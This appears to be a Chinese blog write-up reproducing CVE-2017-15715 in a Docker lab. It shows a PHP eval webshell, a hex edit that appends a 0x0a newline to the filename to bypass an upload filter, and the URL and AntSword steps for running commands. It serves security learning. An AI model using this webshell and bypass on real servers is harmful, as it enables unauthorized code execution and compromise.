首页 > 其他分享 >Apache HTTPd换行解析漏洞复现CVE-2017-15715

Apache HTTPd换行解析漏洞复现CVE-2017-15715

时间:2023-08-17 11:56:36浏览次数:51  
标签:HTTPd PHP Web 15715 evil 漏洞 Apache CVE php

Apache HTTPd换行解析漏洞复现CVE-2017-15715

漏洞利用

漏洞利用条件

Apache: 2.4.0~2.4.29

实际存到后端时的文件名可控

漏洞利用方式

bp中更改存放到后端的文件名

假设

原文件名为"evil.php"
文件存放在网站根目录下
evil.php的内容为:
<?php
@eval($_REQUEST[1]);
?>

操作:

先将"evil.php"改成"evil.php "即"evil.php[0x20]"
然后通过hex将其改为"evil.php[0x0a]"
URL访问:http://ip/evil.php%0a?1=phpinfo();
或蚁剑连接:http://ip/evil.php%0a ,密码是1

前置知识

  • 当我们提到 Apache HTTP Server 时,通常指的是整个软件包,它包括了HTTP服务器的核心功能、模块化架构、配置文件、运行时环境等。Apache HTTP Server 提供了完整的 Web 服务器解决方案,可以用于托管和提供网站内容。

  • httpd 则是 Apache HTTP Server 的具体可执行程序的名称(通常在 Unix/Linux 系统上)。通过运行 httpd守护进程,Apache HTTP Server 开始监听指定的端口(例如默认的80端口),接收来自客户端的HTTP请求,并根据配置文件进行相应的处理和响应。

  • httpd可以通过mod_php来运行PHP网页。其存在一个解析漏洞,在解析PHP时,如1.php0x0A将被按照1.php进行解析,导致绕过一些服务器的安全策略。

  • mod_php 是 Apache 的一个模块,它允许将 PHP 解释器嵌入到 Apache 的进程中,并通过该模块将 PHP 代码集成到 Apache 的请求处理流程中。当 Apache 收到一个包含 PHP 代码的网页请求时,mod_php 模块负责解析该请求,将 PHP 代码交给 PHP 解释器进行解释执行,然后将执行结果返回给客户端浏览器。

当然,除了mod_php,还存在其他方式来运行PHP网页:

1.PHP-FPM(PHP FastCGI Process Manager):PHP-FPM 是一个独立的进程管理器,通过 FastCGI 协议与 Web 服务器(例如 Apache 或 Nginx)进行通信。PHP-FPM 可以独立于 Web 服务器运行,提供更高的性能和灵活性。​

2.CGI(Common Gateway Interface):CGI 是一种标准的 Web 服务器和应用程序之间的接口协议。通过将 PHP 解释器
作为 CGI 程序来运行 PHP 网页,Web 服务器可以通过 CGI 协议与 PHP 解释器进行通信并执行 PHP 代码。

3.FastCGI:FastCGI 是一种改进的 CGI 协议,它使用长连接和进程池的方式提高了性能。类似于 CGI,FastCGI 可以将
PHP 解释器作为独立的进程来运行 PHP 网页,并通过协议与 Web 服务器进行通信

怎么选择?

这些方法都可以用来运行 PHP 网页,选择哪种方法取决于你的需求和配置。例如,mod_php 对于简单的 PHP 应用程序和较小的网站是一个简便且高效的选择,而 PHP-FPM 和 FastCGI 则适用于更大型、高流量的网站,提供更好的性能和可扩展性。

环境配置

find ./ -name *CVE-2017*
cd ./httpd/CVE-2017-15715
docker-compose build
docker-compose up -d
docker ps # 8080端口

image-20230815111417316

漏洞复现

访问8080端口得:

image-20230815114722086

尝试直接提交木马文件:

image-20230815120951334

image-20230815121353395

试着将php改为txt试试:

image-20230815121521367

说明过滤的是.php

根据漏洞,1.php[0x0a]和1.php具有相同的效果,所以尝试绕过:

image-20230815125340467

image-20230815124753685

原来:"eval_POST2.php"
先改成:"eval_POST2.php "即:"eval_POST2.php[0x20]"
然后通过Hex,将其改为"eval_POST2.php[0x0a]"
改完后发送

回显:

payload:

http://192.168.40.148:8080/evil.php%0a?1=phpinfo();

image-20230815125511690

顺便查看后端的情况:

docker exec <ID> /bin/bash
ls
cat e*

image-20230815125651875

蚁剑连接:

image-20230815125810360

问:直接在bp的evil.php后换行可以吗?

答:

我们来看看直接换行后是什么

image-20230815130529790

Hex:

image-20230815130613970

URL访问:

image-20230815130700955

没有出现404,但是也没有解析一句话木马

蚁剑也是一样:

image-20230815130824995

来看看后台:可见一句话木马并没有什么异常

image-20230815130758212

所以还是通过Hex得出0a比较好

如果有大佬知道怎么解释,欢迎留言

标签:HTTPd,PHP,Web,15715,evil,漏洞,Apache,CVE,php
From: https://www.cnblogs.com/hello-admin/p/17637223.html

相关文章

  • 漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞
    1.简介jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。jQuery设计的目的是为了写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。据一项调查报告,在对4......
  • Apache Flink目录遍历漏洞复现CVE-2020-17519
    ApacheFlink目录遍历漏洞复现CVE-2020-17519前置知识ApacheFlink:ApacheFlink是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。漏洞利用条件:ApacheFlink版本为1.11.0......
  • 漏洞复现报告:CVE-2020-2551 IIOP反序列化漏洞
    1.漏洞描述: 2020年1月15日,Oracle发布了一系列的安全补丁,其中OracleWebLogicServer产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。Weblogic是一个服务器,可以做web服务器也可以做应用服务器WebLogic是美国Oracle公司出品的......
  • Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
    Vulhub-Docker-Composefileforvulnerabilityenvironment1、介绍名称:WeblogicWLSCoreComponents反序列化命令执行漏洞(CVE-2018-2628)编号:CVE-2018-2628原理:应用:Weblogic 版本:Weblogic10.3.6.0,Weblogic12.1.3.0,Weblogic12.2.1.2,Weblogic12.2.1.32、测试2.......
  • Apache HTTPD换行解析漏洞(CVE-2017-15715)
    ApacheHTTPD换行解析漏洞(CVE-2017-15715)【项目中遇到】ApacheHTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页,其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将按照PHP后缀进行解析,导致绕过一些服务器安全策略。1.环境搭建cdhttpd/CVE-2017-15715/doc......
  • CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析(二)
    文章写于2022-01-19,首发在天融信阿尔法实验室目标导读1前言2前置知识2.1JPEG文件格式2.2Perl模式匹配3exiftool源码调试到漏洞分析3.1环境搭建3.2漏洞简介3.3exiftool是如何解析嵌入的0xc51b标签3.4exiftool是如何调用parseAnt函数3.5parseAnt函数分......
  • 漏洞复现报告:CVE-2022-0847 Linux 内核漏洞
    1.1漏洞信息表漏洞名称Linuxkernel安全漏洞发布时间2022年3月7日漏洞编号CVE-2022-0847威胁类型其他危害级别高危影响版本LinuxKernel5.8-5.16.11、5.8-5.15.25、5.8-5.10.102漏洞描述产品介绍:Linuxkernel是美国Linux基金会的开源操作系统Linux所使用的内核。是一个一体化内核......
  • 漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞
    Log4j2远程代码执行漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称Log4j2远程代码执行漏洞发布时间2021年12月10日漏洞编号CVE-2021-44228威胁类型远程代码执行危害级别高危影响版本ApacheLog4j22.0-2.15.0-rc1漏洞描述产品介绍:ApacheLog4j是一个Java日志框架,用于在应用......
  • 漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞
    OracleWebLogicServer漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称OracleWebLogicServer反序列化漏洞发布时间2020年4月16日漏洞编号CVE-2020-2883威胁类型反序列化漏洞危害级别高危影响版本OracleWebLogicServer10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0版......
  • CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)
    文章写于2021-11-29,首发在天融信阿尔法实验室前言安全研究员vakzz于4月7日在hackerone上提交了一个关于gitlab的RCE漏洞,在当时并没有提及是否需要登录gitlab进行授权利用,在10月25日该漏洞被国外安全公司通过日志分析发现未授权的在野利用,并发现了新的利用方式。根据官方漏洞通......